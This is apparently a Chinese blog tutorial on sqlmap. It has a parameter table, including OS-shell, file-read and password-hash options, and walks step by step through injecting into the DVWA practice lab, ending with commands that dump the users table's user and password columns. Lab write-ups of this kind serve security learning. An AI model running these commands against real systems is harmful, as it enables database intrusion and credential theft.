Tool篇 - Sqlmap
sqlmap使用指南
什么是sqlmap?
Sqlmap是一款由Python语言编写的开源sql注入检测、利用工具,它可以自动检测和利用sql注入漏洞,并且配备了强大的检测引擎,拥有丰富的特性这其中包括了指纹识别、对系统的控制、自动识别密码的散列格式并暴力破解等等,加之非常多的参数,是一款安全从业人员必备的工具。
支持五种类型的sql注入
- 布尔型
- 报错型
- 联合查询
- 多语句查询
- 基于时间的延迟注入
安装
- 本机 ==> sqlmap需要2.7版本
- kali虚拟机自带sqlmap
参数
参数
|
作用
|
h/--help
|
显示基本的帮助信息
|
-hh
|
显示详细的帮助信息
|
--version
|
显示sqlmap的版本号
|
-v 0-6
|
设置输出的详细度
|
-u
|
指定需要判断是否存在sql注入漏洞的URL
|
-d
|
直接连接到数据库
-d" mysql://用户名:密码@地址:端口/数据库名称"
|
-m
|
读取文本文件中的URL地址来判断是否存在sql注入
|
--threads
|
设置最大并发请求数
|
--timeout
|
设置等待超时的时间
|
--retries
|
设置重试的次数
|
-b,--banner
|
检测出数据库的版本信息
|
--current-user
|
检测数据库当前的用户名
|
--current-db
|
枚举出当前数据库名称
|
--is-dba
|
检测当前用户是否为数据库管理员
|
--users
|
枚举出所有数据库用户
|
--passwords
|
枚举出所有数据库用户的密码哈希
|
--privileges
|
枚举出数据库管理员的用户的权限
|
--roles
|
枚举数据库管理系统用户的系统
|
--dbs
|
枚举出所有的数据库
|
--tables
|
枚举出所有数据库中所有的表
|
--columns
|
枚举出所有数据库表中的列名
|
--dump
|
下载数据库中的表项
|
--dump-all
|
下载所有的数据库表中的条目
|
--search
|
搜索列,表和/或数据库名称
|
-D
|
指定要进行枚举的指定数据库名
|
-T
|
指定要进行枚举的指定数据库表
|
-C
|
指定要进行枚举的数据库列
|
-U
|
用来进行枚举的数据库用户
|
--exclude-sysdbs
|
枚举表时排除系统数据库
|
--sql-query=
|
指定要执行的SQL语句
|
--sql-shell
|
提示交互式SQL的shell
|
--os-cmd=
|
指定需要执行操作系统命令
|
--os-shell
|
交互式的操作系统的shell
|
--priv-esc
|
数据库进程用户权限提升
|
--file-read=’’
|
访问操作系统内的文件
|
--file-write=’’
|
编辑操作系统内的文件
|
--update
|
更新SQLMAP
|
--batch
|
自动选择yes
|
--output-dir=
|
自定义输出目录路径
|
--smart
|
启发式判断
|
sqlmap扫描漏洞实例
以下我使用的是buuctf中的DVWA靶场
DVWA在线靶场:默认账号密码 admin/password
在kali中打开sql(最好使用root权限叭,防止报错)
//这里得加上cookie,来模拟登录 sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch --dbs -u 查询是否存在sql注入 --batch 默认设置 --dbs 查看数据库
返回结果如下:

sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa --tables --batch 默认登陆 -D 指定数据库枚举 --table 查看该数据库中的表
返回结果如下:

sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa -T users --columns --batch 默认设置 -D 指定数据库 -T 指定表格 --columns 输出列表
返回如下:

看见user和password这种敏感内容,大家可以多留意一下。
sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa -T users -C "user,password" --dump -C 展示用于枚举的数据库行列 --dump 下载数据库表项

后话
在网上师傅那里看见,sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内
不过我也没在kali里面找到这个文件qwq
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现